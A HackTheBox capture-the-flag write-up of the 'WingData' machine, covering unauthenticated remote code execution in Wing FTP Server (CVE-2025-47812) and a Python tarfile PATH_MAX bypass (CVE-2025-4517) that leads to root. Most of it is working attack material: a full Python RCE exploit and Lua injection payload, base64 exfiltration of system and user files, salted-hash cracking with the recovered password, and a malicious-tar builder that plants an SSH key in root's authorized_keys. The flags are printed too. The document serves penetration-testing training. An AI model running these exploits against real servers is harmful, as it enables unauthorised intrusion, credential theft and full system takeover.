← Back to Writeups
HTBMediumPentest

WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass)

XESXOR9/10/20267 min read
#pentest#htb#medium#base64_exfiltration#lua_code_injection_via_session#nested_directory_path_overflow#null_byte_session_injection_rc#sha256_salt_cracking#ssh_key_injection#tarfile_path_max_symlink_escap#cve-2025-47812#cve-2025-4517

WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass)

Platform: HackTheBox | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-02-25 | Status: Solved Techniques: base64_exfiltration, lua_code_injection_via_session, nested_directory_path_overflow, null_byte_session_injection_rce, sha256_salt_cracking, ssh_key_injection, tarfile_path_max_symlink_escape

Summary

Task: Full HackTheBox machine with Wing FTP Server v7.4.3. Solution: CVE-2025-47812 unauthenticated RCE via NULL byte injection in username for initial access, SHA-256 salted hash cracking for user credentials, then CVE-2025-4517 Python tarfile data filter PATH_MAX bypass for privilege escalation to root.

WingData (Wing FTP RCE → Python tarfile PATH_MAX bypass) — HackTheBox

Description

Full machine on HackTheBox. Wing FTP Server v7.4.3 with CVE-2025-47812 vulnerability (unauthenticated RCE via NULL byte injection in username) for initial access, then cracking SHA-256 salted hashes from Wing FTP configs, and privilege escalation via CVE-2025-4517 — Python tarfile data filter bypass through PATH_MAX overflow.

  • Target: 10.129.4.210
  • OS: Linux (Debian-based)
  • Stack: Apache 2.4.66, Wing FTP Server v7.4.3 (Free Edition), Python 3.12.3
  • Users: root, wacky (uid=1000), wingftp

Flags

#TypeFlagMethod
1User79fe504bb3f54818c9b9179031c1957cSSH as wacky (cracked Wing FTP hash)
2Roote7f9f385b134b649752bc7ef5fb10f45CVE-2025-4517 tarfile PATH_MAX → SSH key injection

Reconnaissance

Nmap Scan

bash
nmap -sV -sC -T4 -p- --min-rate=1000 10.129.4.210

Open ports:

  • 22 — SSH (OpenSSH 9.2p1)
  • 80 — HTTP (Apache 2.4.66) → redirect to wingdata.htb

Internal ports (discovered after initial access):

  • 8080 — localhost admin interface
  • 5466 — Wing FTP admin panel
  • 37433 — internal service

Identification

  • Port 80 → wingdata.htb — corporate site "WingData Solutions"
  • Link "Client Portal" → http://ftp.wingdata.htb/
  • FTP subdomain: Wing FTP Server v7.4.3 (Free Edition) with web login interface
  • Version < 7.4.4 → vulnerable to CVE-2025-47812

Step 1: Initial Access — CVE-2025-47812 (Wing FTP Server RCE)

Wing FTP Server versions before 7.4.4 have a critical vulnerability CVE-2025-47812 — unauthenticated RCE via NULL byte injection in the username parameter during login.

Vulnerability

Exploitation mechanism:

  1. NULL byte truncation in authentication: the c_CheckUser() function uses strlen(), which truncates the string at NULL byte (%00). If you pass anonymous%00<lua_code>, authentication passes as user anonymous.

  2. Full string saved to session: the rawset(_SESSION, "username", username) function saves the FULL username string, including everything after the NULL byte.

  3. Sessions as Lua scripts: Wing FTP stores sessions as Lua files. Lua code injection after the NULL byte writes arbitrary code to the session file.

  4. Execution on load: when accessing /dir.html, SessionModule.load() is called → loadfile() → Lua code from the session file is executed.

Payload

username=anonymous%00]]
local h = io.popen("COMMAND")
local r = h:read("*a")
h:close()
print(r)
--&password=

The ]] construct closes the Lua long string, -- at the end comments out the rest of the file.

Exploit (exploit.py)

python
#!/usr/bin/env python3
"""CVE-2025-47812 Wing FTP RCE with auto-logout"""

import requests
import re
import sys
from urllib.parse import quote

TARGET = "http://ftp.wingdata.htb"
USERS = ["wacky", "john", "maria", "steve", "anonymous"]
_user_idx = 0


def run_cmd(command, username=None, password=""):
    global _user_idx
    if username is None:
        username = USERS[_user_idx % len(USERS)]
        _user_idx += 1
    login_url = f"{TARGET}/loginok.html"
    host = TARGET.split("//")[1].split("/")[0]

    headers = {
        "Host": host,
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "client_lang=english",
    }

    encoded_username = quote(username)
    encoded_password = quote(password)

    payload = (
        f'username={encoded_username}%00]]%0dlocal+h+%3d+io.popen("{command}")%0dlocal+r+%3d+h%3aread("*a")'
        f"%0dh%3aclose()%0dprint(r)%0d--&password={encoded_password}"
    )

    try:
        resp = requests.post(login_url, headers=headers, data=payload, timeout=15)
    except Exception as e:
        print(f"[-] POST error: {e}", file=sys.stderr)
        return None

    set_cookie = resp.headers.get("Set-Cookie", "")
    match = re.search(r"UID=([^;]+)", set_cookie)

    if not match:
        if "too many" in resp.text.lower():
            print("[-] Too many sessions", file=sys.stderr)
        else:
            print(f"[-] No UID in response", file=sys.stderr)
        return None

    uid = match.group(1)

    dir_headers = {
        "Host": host,
        "User-Agent": "Mozilla/5.0",
        "Cookie": f"UID={uid}",
    }

    try:
        dir_resp = requests.get(f"{TARGET}/dir.html", headers=dir_headers, timeout=15)
    except Exception as e:
        print(f"[-] GET error: {e}", file=sys.stderr)
        return None

    body = dir_resp.text
    clean_output = re.split(r"<\?xml", body)[0].strip()

    # Always logout to free session slot
    try:
        requests.get(
            f"{TARGET}/logout.html",
            headers={"Host": host, "Cookie": f"UID={uid}"},
            timeout=5,
        )
    except:
        pass

    return clean_output


if __name__ == "__main__":
    cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
    result = run_cmd(cmd)
    if result is not None:
        print(result)
    else:
        print("[-] Failed")

Usage

bash
python3 exploit.py "id"
# uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)

python3 exploit.py "cat /etc/passwd | base64"
# Exfiltrate via base64 — direct cat of XML files doesn't work (parsed/truncated in response)

Important: the anonymous account has a session limit. Each exploit call must logout (GET /logout.html with UID cookie) to free the slot. The script rotates usernames to bypass the limit.

Step 2: Credential Extraction & Cracking

Hash Extraction

Wing FTP stores user configuration in XML files:

bash
# List users
python3 exploit.py "ls /opt/wftpserver/Data/1/users/"
# anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

# Exfiltrate via base64 (XML is truncated directly)
python3 exploit.py "base64 /opt/wftpserver/Data/1/users/wacky.xml"

Hashing Settings

From /opt/wftpserver/Data/1/settings.xml:

xml
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

Hash format: SHA-256($pass.$salt) — hashcat mode 1410.

Hashes

UserSHA-256 Hash
wacky32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
admina8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba
john0c1f14672feec3bba27231048271fcdcdeb9d75ef79f6889139aa78c9d398f10
mariaa70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
steve5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca

Cracking

bash
# Format for hashcat mode 1410: hash:salt
echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hashes_hc1410.txt

hashcat -m 1410 hashes_hc1410.txt /usr/share/wordlists/rockyou.txt
# wacky: !#7Blushing^*Bride5

Step 3: User Flag

bash
ssh wacky@10.129.4.210
# Password: !#7Blushing^*Bride5

cat /home/wacky/user.txt
# 79fe504bb3f54818c9b9179031c1957c

Step 4: Privilege Escalation — CVE-2025-4517 (Python tarfile data filter PATH_MAX bypass)

Reconnaissance

bash
sudo -l
# (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Script Analysis

The restore_backup_clients.py script:

  • Takes arguments: -b backup_<id>.tar (file in /opt/backup_clients/backups/) and -r restore_<tag>
  • Validates backup name format and tag (alphanumeric + underscore, 1-24 characters)
  • Creates staging directory: /opt/backup_clients/restored_backups/restore_<tag>
  • Extracts tar: tar.extractall(path=staging_dir, filter="data")
  • Python 3.12.3

Vulnerability

CVE-2025-4517: bypass of data filter in Python tarfile via PATH_MAX overflow.

The data filter (introduced in Python 3.12) should:

  • Prevent path traversal
  • Block absolute symlinks
  • Verify that symlink targets remain inside dest_path

The symlink target check uses os.path.realpath() to resolve the path. On Linux PATH_MAX = 4096 bytes. When the resolved path exceeds PATH_MAX, os.path.realpath() silently fails to fully resolve the path — returning a partially resolved result.

Exploitation Technique

  1. Create deep nesting: 16 levels of directories with 247-character names + symlinks at each level
  2. Create final symlink (254 characters) pointing upward (../ × 16) — total path exceeds PATH_MAX
  3. Create escape symlink through the unresolved long path, pointing to /root/.ssh/authorized_keys
  4. Create hardlink to the escape symlink
  5. Create regular file with the same name as the hardlink, containing SSH public key — overwrites the target file

Exploit

bash
# 1. Generate SSH key
ssh-keygen -t ed25519 -f root_key -N ""

# 2. Create malicious tar (Python script — see below)
python3 build_tar.py

# 3. Upload tar to the machine
scp backup_1001.tar wacky@10.129.4.210:/opt/backup_clients/backups/

# 4. Run restore
ssh wacky@10.129.4.210
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
    -b backup_1001.tar -r restore_test1

# 5. SSH as root
ssh -i root_key root@10.129.4.210

Building Malicious Tar (Concept)

python
#!/usr/bin/env python3
"""CVE-2025-4517: Python tarfile data filter PATH_MAX bypass"""

import tarfile
import io
import os

DEPTH = 16           # Levels of nesting
DIR_LEN = 247        # Characters per directory name
SYMLINK_LEN = 254    # Final symlink name length
TARGET_FILE = "/root/.ssh/authorized_keys"

# Read our SSH public key
with open("root_key.pub") as f:
    ssh_pubkey = f.read().strip()

def build_malicious_tar(output_path="backup_1001.tar"):
    with tarfile.open(output_path, "w") as tar:
        # Create nested directories with symlinks at each level
        # Each directory name is DIR_LEN chars long
        # Symlinks at each level point to the directory (creating aliases)
        current_path = ""
        
        for level in range(DEPTH):
            dir_name = "A" * DIR_LEN
            if current_path:
                current_path = f"{current_path}/{dir_name}"
            else:
                current_path = dir_name
            
            # Add directory
            info = tarfile.TarInfo(name=current_path)
            info.type = tarfile.DIRTYPE
            info.mode = 0o755
            tar.addfile(info)
            
            # Add symlink pointing to this directory
            link_name = f"{current_path}_link"
            info = tarfile.TarInfo(name=link_name)
            info.type = tarfile.SYMTYPE
            info.linkname = dir_name if level == 0 else f"{os.path.basename(current_path)}"
            tar.addfile(info)
        
        # Final symlink with long name pointing back up (../×16)
        # This exceeds PATH_MAX when resolved
        escape_name = "B" * SYMLINK_LEN
        escape_path = f"{current_path}/{escape_name}"
        info = tarfile.TarInfo(name=escape_path)
        info.type = tarfile.SYMTYPE
        info.linkname = "../" * DEPTH  # Goes back to extraction root and beyond
        tar.addfile(info)
        
        # Escape symlink through the unresolved path → target file
        target_link = f"{current_path}/{escape_name}/root/.ssh/authorized_keys"
        info = tarfile.TarInfo(name=f"{current_path}/escape_link")
        info.type = tarfile.SYMTYPE
        info.linkname = f"{escape_name}/root/.ssh/authorized_keys"
        tar.addfile(info)
        
        # Hardlink to the escape symlink
        info = tarfile.TarInfo(name=f"{current_path}/hardlink")
        info.type = tarfile.LNKTYPE
        info.linkname = f"{current_path}/escape_link"
        tar.addfile(info)
        
        # Regular file with SSH key — overwrites the target
        data = (ssh_pubkey + "\n").encode()
        info = tarfile.TarInfo(name=f"{current_path}/hardlink")
        info.size = len(data)
        info.mode = 0o644
        tar.addfile(info, io.BytesIO(data))
    
    print(f"[+] Created {output_path}")

if __name__ == "__main__":
    build_malicious_tar()

Note: the real exploit requires precise calibration of path lengths and nesting levels so that the total path exceeds PATH_MAX=4096 when os.path.realpath() is called. The code above is a simplified concept; the working version was used from backup_1001.tar.

Step 5: Root Flag

bash
ssh -i root_key root@10.129.4.210
cat /root/root.txt
# e7f9f385b134b649752bc7ef5fb10f45